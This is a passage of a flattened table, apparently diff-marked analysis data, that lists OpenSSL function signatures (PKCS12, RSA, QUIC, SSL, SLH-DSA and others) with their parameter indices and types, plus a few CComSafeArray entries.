ossl_ec_key_from_pkcs8 | 0 | const PKCS8_PRIV_KEY_INFO * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_ec_key_from_pkcs8 | 1 | OSSL_LIB_CTX * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_ec_key_from_pkcs8 | 2 | const char * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_from_pkcs8 | 0 | const PKCS8_PRIV_KEY_INFO * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_from_pkcs8 | 1 | OSSL_LIB_CTX * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_from_pkcs8 | 2 | const char * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_rsa_key_from_pkcs8 | 0 | const PKCS8_PRIV_KEY_INFO * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_rsa_key_from_pkcs8 | 1 | OSSL_LIB_CTX * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_rsa_key_from_pkcs8 | 2 | const char * | +| (const PKCS8_PRIV_KEY_INFO *,unsigned char **) | | i2d_PKCS8_PRIV_KEY_INFO | 0 | const PKCS8_PRIV_KEY_INFO * | +| (const PKCS8_PRIV_KEY_INFO *,unsigned char **) | | i2d_PKCS8_PRIV_KEY_INFO | 1 | unsigned char ** | +| (const PKCS12 *) | | ossl_pkcs12_get0_pkcs7ctx | 0 | const PKCS12 * | +| (const PKCS12 *,unsigned char **) | | i2d_PKCS12 | 0 | const PKCS12 * | +| (const PKCS12 *,unsigned char **) | | i2d_PKCS12 | 1 | unsigned char ** | +| (const PKCS12_BAGS *,unsigned char **) | | i2d_PKCS12_BAGS | 0 | const PKCS12_BAGS * | +| (const PKCS12_BAGS *,unsigned char **) | | i2d_PKCS12_BAGS | 1 | unsigned char ** | +| (const PKCS12_MAC_DATA *,unsigned char **) | | i2d_PKCS12_MAC_DATA | 0 | const PKCS12_MAC_DATA * | +| (const PKCS12_MAC_DATA *,unsigned char **) | | i2d_PKCS12_MAC_DATA | 1 | unsigned char ** | +| (const PKCS12_SAFEBAG *) | | PKCS12_SAFEBAG_get0_attrs | 0 | const PKCS12_SAFEBAG * | +| (const PKCS12_SAFEBAG *) | | PKCS12_SAFEBAG_get0_p8inf | 0 | const PKCS12_SAFEBAG * | +| (const PKCS12_SAFEBAG *) | | PKCS12_SAFEBAG_get0_pkcs8 | 0 | const PKCS12_SAFEBAG * | +| (const PKCS12_SAFEBAG *) | | PKCS12_SAFEBAG_get0_safes | 0 | const PKCS12_SAFEBAG * | +| (const PKCS12_SAFEBAG *) | | PKCS12_SAFEBAG_get0_type | 0 | const PKCS12_SAFEBAG * | +| (const PKCS12_SAFEBAG *) | | PKCS12_SAFEBAG_get_nid | 0 | const PKCS12_SAFEBAG * | +| (const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_get1_cert_ex | 0 | const PKCS12_SAFEBAG * | +| (const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_get1_cert_ex | 1 | OSSL_LIB_CTX * | +| (const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_get1_cert_ex | 2 | const char * | +| (const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_get1_crl_ex | 0 | const PKCS12_SAFEBAG * | +| (const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_get1_crl_ex | 1 | OSSL_LIB_CTX * | +| (const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_get1_crl_ex | 2 | const char * | +| (const PKCS12_SAFEBAG *,unsigned char **) | | i2d_PKCS12_SAFEBAG | 0 | const PKCS12_SAFEBAG * | +| (const PKCS12_SAFEBAG *,unsigned char **) | | i2d_PKCS12_SAFEBAG | 1 | unsigned char ** | +| (const PKEY_USAGE_PERIOD *,unsigned char **) | | i2d_PKEY_USAGE_PERIOD | 0 | const PKEY_USAGE_PERIOD * | +| (const PKEY_USAGE_PERIOD *,unsigned char **) | | i2d_PKEY_USAGE_PERIOD | 1 | unsigned char ** | +| (const POLICYINFO *,unsigned char **) | | i2d_POLICYINFO | 0 | const POLICYINFO * | +| (const POLICYINFO *,unsigned char **) | | i2d_POLICYINFO | 1 | unsigned char ** | +| (const POLICYQUALINFO *,unsigned char **) | | i2d_POLICYQUALINFO | 0 | const POLICYQUALINFO * | +| (const POLICYQUALINFO *,unsigned char **) | | i2d_POLICYQUALINFO | 1 | unsigned char ** | +| (const POLY *,const POLY *,POLY *) | | ossl_ml_dsa_poly_ntt_mult | 0 | const POLY * | +| (const POLY *,const POLY *,POLY *) | | ossl_ml_dsa_poly_ntt_mult | 1 | const POLY * | +| (const POLY *,const POLY *,POLY *) | | ossl_ml_dsa_poly_ntt_mult | 2 | POLY * | +| (const PROFESSION_INFO *) | | PROFESSION_INFO_get0_addProfessionInfo | 0 | const PROFESSION_INFO * | +| (const PROFESSION_INFO *) | | PROFESSION_INFO_get0_namingAuthority | 0 | const PROFESSION_INFO * | +| (const PROFESSION_INFO *) | | PROFESSION_INFO_get0_professionItems | 0 | const PROFESSION_INFO * | +| (const PROFESSION_INFO *) | | PROFESSION_INFO_get0_professionOIDs | 0 | const PROFESSION_INFO * | +| (const PROFESSION_INFO *) | | PROFESSION_INFO_get0_registrationNumber | 0 | const PROFESSION_INFO * | +| (const PROFESSION_INFO *,unsigned char **) | | i2d_PROFESSION_INFO | 0 | const PROFESSION_INFO * | +| (const PROFESSION_INFO *,unsigned char **) | | i2d_PROFESSION_INFO | 1 | unsigned char ** | +| (const PROV_CIPHER *) | | ossl_prov_cipher_cipher | 0 | const PROV_CIPHER * | +| (const PROV_CIPHER *) | | ossl_prov_cipher_engine | 0 | const PROV_CIPHER * | +| (const PROV_DIGEST *) | | ossl_prov_digest_engine | 0 | const PROV_DIGEST * | +| (const PROV_DIGEST *) | | ossl_prov_digest_md | 0 | const PROV_DIGEST * | +| (const PROXY_CERT_INFO_EXTENSION *,unsigned char **) | | i2d_PROXY_CERT_INFO_EXTENSION | 0 | const PROXY_CERT_INFO_EXTENSION * | +| (const PROXY_CERT_INFO_EXTENSION *,unsigned char **) | | i2d_PROXY_CERT_INFO_EXTENSION | 1 | unsigned char ** | +| (const PROXY_POLICY *,unsigned char **) | | i2d_PROXY_POLICY | 0 | const PROXY_POLICY * | +| (const PROXY_POLICY *,unsigned char **) | | i2d_PROXY_POLICY | 1 | unsigned char ** | +| (const QLOG_TRACE_INFO *) | | ossl_qlog_new | 0 | const QLOG_TRACE_INFO * | +| (const QLOG_TRACE_INFO *) | | ossl_qlog_new_from_env | 0 | const QLOG_TRACE_INFO * | +| (const QUIC_CFQ_ITEM *) | | ossl_quic_cfq_item_get_encoded | 0 | const QUIC_CFQ_ITEM * | +| (const QUIC_CFQ_ITEM *) | | ossl_quic_cfq_item_get_encoded_len | 0 | const QUIC_CFQ_ITEM * | +| (const QUIC_CFQ_ITEM *) | | ossl_quic_cfq_item_get_frame_type | 0 | const QUIC_CFQ_ITEM * | +| (const QUIC_CFQ_ITEM *) | | ossl_quic_cfq_item_get_pn_space | 0 | const QUIC_CFQ_ITEM * | +| (const QUIC_CFQ_ITEM *) | | ossl_quic_cfq_item_get_state | 0 | const QUIC_CFQ_ITEM * | +| (const QUIC_CFQ_ITEM *) | | ossl_quic_cfq_item_is_unreliable | 0 | const QUIC_CFQ_ITEM * | +| (const QUIC_CFQ_ITEM *,uint32_t) | | ossl_quic_cfq_item_get_priority_next | 0 | const QUIC_CFQ_ITEM * | +| (const QUIC_CFQ_ITEM *,uint32_t) | | ossl_quic_cfq_item_get_priority_next | 1 | uint32_t | +| (const QUIC_CHANNEL *) | | ossl_quic_channel_get_max_idle_timeout_actual | 0 | const QUIC_CHANNEL * | +| (const QUIC_CHANNEL *) | | ossl_quic_channel_get_max_idle_timeout_peer_request | 0 | const QUIC_CHANNEL * | +| (const QUIC_CHANNEL *) | | ossl_quic_channel_get_max_idle_timeout_request | 0 | const QUIC_CHANNEL * | +| (const QUIC_CHANNEL *) | | ossl_quic_channel_get_terminate_cause | 0 | const QUIC_CHANNEL * | +| (const QUIC_CHANNEL *) | | ossl_quic_channel_have_generated_transport_params | 0 | const QUIC_CHANNEL * | +| (const QUIC_CHANNEL *) | | ossl_quic_channel_is_handshake_complete | 0 | const QUIC_CHANNEL * | +| (const QUIC_CHANNEL *) | | ossl_quic_channel_is_handshake_confirmed | 0 | const QUIC_CHANNEL * | +| (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 0 | const QUIC_CHANNEL * | +| (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | int | +| (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 0 | const QUIC_CHANNEL * | +| (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | int | +| (const QUIC_CHANNEL_ARGS *) | | ossl_quic_channel_alloc | 0 | const QUIC_CHANNEL_ARGS * | +| (const QUIC_CONN_ID *) | | ossl_quic_rcidm_new | 0 | const QUIC_CONN_ID * | +| (const QUIC_DEMUX *) | | ossl_quic_demux_has_pending | 0 | const QUIC_DEMUX * | +| (const QUIC_ENGINE_ARGS *) | | ossl_quic_engine_new | 0 | const QUIC_ENGINE_ARGS * | +| (const QUIC_LCIDM *) | | ossl_quic_lcidm_get_lcid_len | 0 | const QUIC_LCIDM * | +| (const QUIC_OBJ *) | | ossl_quic_obj_desires_blocking | 0 | const QUIC_OBJ * | +| (const QUIC_PORT *) | | ossl_quic_port_get_num_incoming_channels | 0 | const QUIC_PORT * | +| (const QUIC_PORT *) | | ossl_quic_port_get_rx_short_dcid_len | 0 | const QUIC_PORT * | +| (const QUIC_PORT *) | | ossl_quic_port_get_tx_init_dcid_len | 0 | const QUIC_PORT * | +| (const QUIC_PORT *) | | ossl_quic_port_is_addressed_r | 0 | const QUIC_PORT * | +| (const QUIC_PORT *) | | ossl_quic_port_is_addressed_w | 0 | const QUIC_PORT * | +| (const QUIC_PORT_ARGS *) | | ossl_quic_port_new | 0 | const QUIC_PORT_ARGS * | +| (const QUIC_RCIDM *) | | ossl_quic_rcidm_get_num_active | 0 | const QUIC_RCIDM * | +| (const QUIC_RCIDM *) | | ossl_quic_rcidm_get_num_retiring | 0 | const QUIC_RCIDM * | +| (const QUIC_REACTOR *) | | ossl_quic_reactor_can_poll_r | 0 | const QUIC_REACTOR * | +| (const QUIC_REACTOR *) | | ossl_quic_reactor_can_poll_w | 0 | const QUIC_REACTOR * | +| (const QUIC_REACTOR *) | | ossl_quic_reactor_get_poll_r | 0 | const QUIC_REACTOR * | +| (const QUIC_REACTOR *) | | ossl_quic_reactor_get_poll_w | 0 | const QUIC_REACTOR * | +| (const QUIC_RXFC *) | | ossl_quic_rxfc_get_credit | 0 | const QUIC_RXFC * | +| (const QUIC_RXFC *) | | ossl_quic_rxfc_get_cwm | 0 | const QUIC_RXFC * | +| (const QUIC_RXFC *) | | ossl_quic_rxfc_get_rwm | 0 | const QUIC_RXFC * | +| (const QUIC_RXFC *) | | ossl_quic_rxfc_get_swm | 0 | const QUIC_RXFC * | +| (const QUIC_RXFC *,uint64_t *) | | ossl_quic_rxfc_get_final_size | 0 | const QUIC_RXFC * | +| (const QUIC_RXFC *,uint64_t *) | | ossl_quic_rxfc_get_final_size | 1 | uint64_t * | +| (const QUIC_TLS_ARGS *) | | ossl_quic_tls_new | 0 | const QUIC_TLS_ARGS * | +| (const QUIC_TSERVER *) | | ossl_quic_tserver_get_terminate_cause | 0 | const QUIC_TSERVER * | +| (const QUIC_TSERVER *) | | ossl_quic_tserver_is_handshake_confirmed | 0 | const QUIC_TSERVER * | +| (const QUIC_TSERVER_ARGS *,const char *,const char *) | | ossl_quic_tserver_new | 0 | const QUIC_TSERVER_ARGS * | +| (const QUIC_TSERVER_ARGS *,const char *,const char *) | | ossl_quic_tserver_new | 1 | const char * | +| (const QUIC_TSERVER_ARGS *,const char *,const char *) | | ossl_quic_tserver_new | 2 | const char * | +| (const QUIC_TXPIM *) | | ossl_quic_txpim_get_in_use | 0 | const QUIC_TXPIM * | +| (const QUIC_TXPIM_PKT *) | | ossl_quic_txpim_pkt_get_chunks | 0 | const QUIC_TXPIM_PKT * | +| (const QUIC_TXPIM_PKT *) | | ossl_quic_txpim_pkt_get_num_chunks | 0 | const QUIC_TXPIM_PKT * | +| (const RSA *) | | RSAPrivateKey_dup | 0 | const RSA * | +| (const RSA *) | | RSAPublicKey_dup | 0 | const RSA * | +| (const RSA *) | | RSA_bits | 0 | const RSA * | +| (const RSA *) | | RSA_flags | 0 | const RSA * | +| (const RSA *) | | RSA_get0_d | 0 | const RSA * | +| (const RSA *) | | RSA_get0_dmp1 | 0 | const RSA * | +| (const RSA *) | | RSA_get0_dmq1 | 0 | const RSA * | +| (const RSA *) | | RSA_get0_e | 0 | const RSA * | +| (const RSA *) | | RSA_get0_engine | 0 | const RSA * | +| (const RSA *) | | RSA_get0_iqmp | 0 | const RSA * | +| (const RSA *) | | RSA_get0_n | 0 | const RSA * | +| (const RSA *) | | RSA_get0_p | 0 | const RSA * | +| (const RSA *) | | RSA_get0_pss_params | 0 | const RSA * | +| (const RSA *) | | RSA_get0_q | 0 | const RSA * | +| (const RSA *) | | RSA_get_method | 0 | const RSA * | +| (const RSA *) | | RSA_get_multi_prime_extra_count | 0 | const RSA * | +| (const RSA *) | | RSA_size | 0 | const RSA * | +| (const RSA *,BN_CTX *) | | ossl_rsa_check_crt_components | 0 | const RSA * | +| (const RSA *,BN_CTX *) | | ossl_rsa_check_crt_components | 1 | BN_CTX * | +| (const RSA *,const BIGNUM **,const BIGNUM **) | | RSA_get0_factors | 0 | const RSA * | +| (const RSA *,const BIGNUM **,const BIGNUM **) | | RSA_get0_factors | 1 | const BIGNUM ** | +| (const RSA *,const BIGNUM **,const BIGNUM **) | | RSA_get0_factors | 2 | const BIGNUM ** | +| (const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | RSA_get0_crt_params | 0 | const RSA * | +| (const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | RSA_get0_crt_params | 1 | const BIGNUM ** | +| (const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | RSA_get0_crt_params | 2 | const BIGNUM ** | +| (const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | RSA_get0_crt_params | 3 | const BIGNUM ** | +| (const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | RSA_get0_key | 0 | const RSA * | +| (const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | RSA_get0_key | 1 | const BIGNUM ** | +| (const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | RSA_get0_key | 2 | const BIGNUM ** | +| (const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | RSA_get0_key | 3 | const BIGNUM ** | +| (const RSA *,int) | | RSA_get_ex_data | 0 | const RSA * | +| (const RSA *,int) | | RSA_get_ex_data | 1 | int | +| (const RSA *,int) | | RSA_test_flags | 0 | const RSA * | +| (const RSA *,int) | | RSA_test_flags | 1 | int | +| (const RSA *,int) | | ossl_rsa_dup | 0 | const RSA * | +| (const RSA *,int) | | ossl_rsa_dup | 1 | int | +| (const RSA *,unsigned char **) | | i2d_RSAPrivateKey | 0 | const RSA * | +| (const RSA *,unsigned char **) | | i2d_RSAPrivateKey | 1 | unsigned char ** | +| (const RSA *,unsigned char **) | | i2d_RSAPublicKey | 0 | const RSA * | +| (const RSA *,unsigned char **) | | i2d_RSAPublicKey | 1 | unsigned char ** | +| (const RSA *,unsigned char **) | | i2d_RSA_PUBKEY | 0 | const RSA * | +| (const RSA *,unsigned char **) | | i2d_RSA_PUBKEY | 1 | unsigned char ** | +| (const RSA_METHOD *) | | RSA_meth_dup | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get0_app_data | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get0_name | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_bn_mod_exp | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_finish | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_flags | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_init | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_keygen | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_mod_exp | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_multi_prime_keygen | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_priv_dec | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_priv_enc | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_pub_dec | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_pub_enc | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_sign | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_verify | 0 | const RSA_METHOD * | +| (const RSA_OAEP_PARAMS *,unsigned char **) | | i2d_RSA_OAEP_PARAMS | 0 | const RSA_OAEP_PARAMS * | +| (const RSA_OAEP_PARAMS *,unsigned char **) | | i2d_RSA_OAEP_PARAMS | 1 | unsigned char ** | +| (const RSA_PSS_PARAMS *) | | RSA_PSS_PARAMS_dup | 0 | const RSA_PSS_PARAMS * | +| (const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *) | | ossl_rsa_pss_get_param | 0 | const RSA_PSS_PARAMS * | +| (const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *) | | ossl_rsa_pss_get_param | 1 | const EVP_MD ** | +| (const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *) | | ossl_rsa_pss_get_param | 2 | const EVP_MD ** | +| (const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *) | | ossl_rsa_pss_get_param | 3 | int * | +| (const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *,int *) | | ossl_rsa_pss_get_param_unverified | 0 | const RSA_PSS_PARAMS * | +| (const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *,int *) | | ossl_rsa_pss_get_param_unverified | 1 | const EVP_MD ** | +| (const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *,int *) | | ossl_rsa_pss_get_param_unverified | 2 | const EVP_MD ** | +| (const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *,int *) | | ossl_rsa_pss_get_param_unverified | 3 | int * | +| (const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *,int *) | | ossl_rsa_pss_get_param_unverified | 4 | int * | +| (const RSA_PSS_PARAMS *,unsigned char **) | | i2d_RSA_PSS_PARAMS | 0 | const RSA_PSS_PARAMS * | +| (const RSA_PSS_PARAMS *,unsigned char **) | | i2d_RSA_PSS_PARAMS | 1 | unsigned char ** | +| (const RSA_PSS_PARAMS_30 *) | | ossl_rsa_pss_params_30_hashalg | 0 | const RSA_PSS_PARAMS_30 * | +| (const RSA_PSS_PARAMS_30 *) | | ossl_rsa_pss_params_30_maskgenalg | 0 | const RSA_PSS_PARAMS_30 * | +| (const RSA_PSS_PARAMS_30 *) | | ossl_rsa_pss_params_30_maskgenhashalg | 0 | const RSA_PSS_PARAMS_30 * | +| (const RSA_PSS_PARAMS_30 *) | | ossl_rsa_pss_params_30_saltlen | 0 | const RSA_PSS_PARAMS_30 * | +| (const RSA_PSS_PARAMS_30 *) | | ossl_rsa_pss_params_30_trailerfield | 0 | const RSA_PSS_PARAMS_30 * | +| (const RSA_PSS_PARAMS_30 *,OSSL_PARAM_BLD *,OSSL_PARAM[]) | | ossl_rsa_pss_params_30_todata | 0 | const RSA_PSS_PARAMS_30 * | +| (const RSA_PSS_PARAMS_30 *,OSSL_PARAM_BLD *,OSSL_PARAM[]) | | ossl_rsa_pss_params_30_todata | 1 | OSSL_PARAM_BLD * | +| (const RSA_PSS_PARAMS_30 *,OSSL_PARAM_BLD *,OSSL_PARAM[]) | | ossl_rsa_pss_params_30_todata | 2 | OSSL_PARAM[] | | (const SAFEARRAY &) | CComSafeArray | CComSafeArray | 0 | const SAFEARRAY & | | (const SAFEARRAY *) | CComSafeArray | Add | 0 | const SAFEARRAY * | | (const SAFEARRAY *) | CComSafeArray | CComSafeArray | 0 | const SAFEARRAY * | | (const SAFEARRAY *) | CComSafeArray | operator= | 0 | const SAFEARRAY * | +| (const SCRYPT_PARAMS *,unsigned char **) | | i2d_SCRYPT_PARAMS | 0 | const SCRYPT_PARAMS * | +| (const SCRYPT_PARAMS *,unsigned char **) | | i2d_SCRYPT_PARAMS | 1 | unsigned char ** | +| (const SCT *) | | SCT_get_log_entry_type | 0 | const SCT * | +| (const SCT *) | | SCT_get_source | 0 | const SCT * | +| (const SCT *) | | SCT_get_timestamp | 0 | const SCT * | +| (const SCT *) | | SCT_get_validation_status | 0 | const SCT * | +| (const SCT *) | | SCT_get_version | 0 | const SCT * | +| (const SCT *) | | SCT_is_complete | 0 | const SCT * | +| (const SCT *,unsigned char **) | | SCT_get0_extensions | 0 | const SCT * | +| (const SCT *,unsigned char **) | | SCT_get0_extensions | 1 | unsigned char ** | +| (const SCT *,unsigned char **) | | SCT_get0_log_id | 0 | const SCT * | +| (const SCT *,unsigned char **) | | SCT_get0_log_id | 1 | unsigned char ** | +| (const SCT *,unsigned char **) | | SCT_get0_signature | 0 | const SCT * | +| (const SCT *,unsigned char **) | | SCT_get0_signature | 1 | unsigned char ** | +| (const SCT *,unsigned char **) | | i2o_SCT | 0 | const SCT * | +| (const SCT *,unsigned char **) | | i2o_SCT | 1 | unsigned char ** | +| (const SCT *,unsigned char **) | | i2o_SCT_signature | 0 | const SCT * | +| (const SCT *,unsigned char **) | | i2o_SCT_signature | 1 | unsigned char ** | +| (const SFRAME_LIST *,void **,UINT_RANGE *,const unsigned char **,int *) | | ossl_sframe_list_peek | 0 | const SFRAME_LIST * | +| (const SFRAME_LIST *,void **,UINT_RANGE *,const unsigned char **,int *) | | ossl_sframe_list_peek | 1 | void ** | +| (const SFRAME_LIST *,void **,UINT_RANGE *,const unsigned char **,int *) | | ossl_sframe_list_peek | 2 | UINT_RANGE * | +| (const SFRAME_LIST *,void **,UINT_RANGE *,const unsigned char **,int *) | | ossl_sframe_list_peek | 3 | const unsigned char ** | +| (const SFRAME_LIST *,void **,UINT_RANGE *,const unsigned char **,int *) | | ossl_sframe_list_peek | 4 | int * | +| (const SLH_DSA_HASH_CTX *) | | ossl_slh_dsa_hash_ctx_dup | 0 | const SLH_DSA_HASH_CTX * | +| (const SLH_DSA_KEY *) | | ossl_slh_dsa_hash_ctx_new | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *) | | ossl_slh_dsa_key_get_n | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *) | | ossl_slh_dsa_key_get_name | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *) | | ossl_slh_dsa_key_get_priv | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *) | | ossl_slh_dsa_key_get_priv_len | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *) | | ossl_slh_dsa_key_get_pub | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *) | | ossl_slh_dsa_key_get_pub_len | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *) | | ossl_slh_dsa_key_get_sig_len | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *) | | ossl_slh_dsa_key_get_type | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | int | +| (const SM2_Ciphertext *,unsigned char **) | | i2d_SM2_Ciphertext | 0 | const SM2_Ciphertext * | +| (const SM2_Ciphertext *,unsigned char **) | | i2d_SM2_Ciphertext | 1 | unsigned char ** | +| (const SSL *) | | DTLS_get_data_mtu | 0 | const SSL * | +| (const SSL *) | | SSL_client_version | 0 | const SSL * | +| (const SSL *) | | SSL_ct_is_enabled | 0 | const SSL * | +| (const SSL *) | | SSL_get0_CA_list | 0 | const SSL * | +| (const SSL *) | | SSL_get0_peer_certificate | 0 | const SSL * | +| (const SSL *) | | SSL_get0_peer_rpk | 0 | const SSL * | +| (const SSL *) | | SSL_get0_security_ex_data | 0 | const SSL * | +| (const SSL *) | | SSL_get0_verified_chain | 0 | const SSL * | +| (const SSL *) | | SSL_get1_peer_certificate | 0 | const SSL * | +| (const SSL *) | | SSL_get_SSL_CTX | 0 | const SSL * | +| (const SSL *) | | SSL_get_ciphers | 0 | const SSL * | +| (const SSL *) | | SSL_get_client_CA_list | 0 | const SSL * | +| (const SSL *) | | SSL_get_client_ciphers | 0 | const SSL * | +| (const SSL *) | | SSL_get_current_cipher | 0 | const SSL * | +| (const SSL *) | | SSL_get_early_data_status | 0 | const SSL * | +| (const SSL *) | | SSL_get_info_callback | 0 | const SSL * | +| (const SSL *) | | SSL_get_key_update_type | 0 | const SSL * | +| (const SSL *) | | SSL_get_max_early_data | 0 | const SSL * | +| (const SSL *) | | SSL_get_negotiated_client_cert_type | 0 | const SSL * | +| (const SSL *) | | SSL_get_negotiated_server_cert_type | 0 | const SSL * | +| (const SSL *) | | SSL_get_num_tickets | 0 | const SSL * | +| (const SSL *) | | SSL_get_options | 0 | const SSL * | +| (const SSL *) | | SSL_get_peer_cert_chain | 0 | const SSL * | +| (const SSL *) | | SSL_get_psk_identity | 0 | const SSL * | +| (const SSL *) | | SSL_get_psk_identity_hint | 0 | const SSL * | +| (const SSL *) | | SSL_get_quiet_shutdown | 0 | const SSL * | +| (const SSL *) | | SSL_get_rbio | 0 | const SSL * | +| (const SSL *) | | SSL_get_read_ahead | 0 | const SSL * | +| (const SSL *) | | SSL_get_record_padding_callback_arg | 0 | const SSL * | +| (const SSL *) | | SSL_get_recv_max_early_data | 0 | const SSL * | +| (const SSL *) | | SSL_get_security_callback | 0 | const SSL * | +| (const SSL *) | | SSL_get_security_level | 0 | const SSL * | +| (const SSL *) | | SSL_get_session | 0 | const SSL * | +| (const SSL *) | | SSL_get_shutdown | 0 | const SSL * | +| (const SSL *) | | SSL_get_ssl_method | 0 | const SSL * | +| (const SSL *) | | SSL_get_state | 0 | const SSL * | +| (const SSL *) | | SSL_get_verify_callback | 0 | const SSL * | +| (const SSL *) | | SSL_get_verify_depth | 0 | const SSL * | +| (const SSL *) | | SSL_get_verify_mode | 0 | const SSL * | +| (const SSL *) | | SSL_get_verify_result | 0 | const SSL * | +| (const SSL *) | | SSL_get_wbio | 0 | const SSL * | +| (const SSL *) | | SSL_in_init | 0 | const SSL * | +| (const SSL *) | | SSL_is_server | 0 | const SSL * | +| (const SSL *) | | SSL_renegotiate_pending | 0 | const SSL * | +| (const SSL *) | | SSL_session_reused | 0 | const SSL * | +| (const SSL *) | | SSL_state_string | 0 | const SSL * | +| (const SSL *) | | SSL_state_string_long | 0 | const SSL * | +| (const SSL *) | | SSL_version | 0 | const SSL * | +| (const SSL *) | | SSL_want | 0 | const SSL * | +| (const SSL *,char *,int) | | SSL_get_shared_ciphers | 0 | const SSL * | +| (const SSL *,char *,int) | | SSL_get_shared_ciphers | 1 | char * | +| (const SSL *,char *,int) | | SSL_get_shared_ciphers | 2 | int | +| (const SSL *,const SSL_CTX *,int *) | | ssl_get_security_level_bits | 0 | const SSL * | +| (const SSL *,const SSL_CTX *,int *) | | ssl_get_security_level_bits | 1 | const SSL_CTX * | +| (const SSL *,const SSL_CTX *,int *) | | ssl_get_security_level_bits | 2 | int * | +| (const SSL *,const int) | | SSL_get_servername | 0 | const SSL * | +| (const SSL *,const int) | | SSL_get_servername | 1 | const int | +| (const SSL *,const unsigned char **,unsigned int *) | | SSL_get0_alpn_selected | 0 | const SSL * | +| (const SSL *,const unsigned char **,unsigned int *) | | SSL_get0_alpn_selected | 1 | const unsigned char ** | +| (const SSL *,const unsigned char **,unsigned int *) | | SSL_get0_alpn_selected | 2 | unsigned int * | +| (const SSL *,const unsigned char **,unsigned int *) | | SSL_get0_next_proto_negotiated | 0 | const SSL * | +| (const SSL *,const unsigned char **,unsigned int *) | | SSL_get0_next_proto_negotiated | 1 | const unsigned char ** | +| (const SSL *,const unsigned char **,unsigned int *) | | SSL_get0_next_proto_negotiated | 2 | unsigned int * | +| (const SSL *,int) | | SSL_get_ex_data | 0 | const SSL * | +| (const SSL *,int) | | SSL_get_ex_data | 1 | int | +| (const SSL *,int,int) | | apps_ssl_info_callback | 0 | const SSL * | +| (const SSL *,int,int) | | apps_ssl_info_callback | 1 | int | +| (const SSL *,int,int) | | apps_ssl_info_callback | 2 | int | +| (const SSL *,uint64_t *) | | SSL_get_handshake_rtt | 0 | const SSL * | +| (const SSL *,uint64_t *) | | SSL_get_handshake_rtt | 1 | uint64_t * | +| (const SSL *,unsigned char **,size_t *) | | 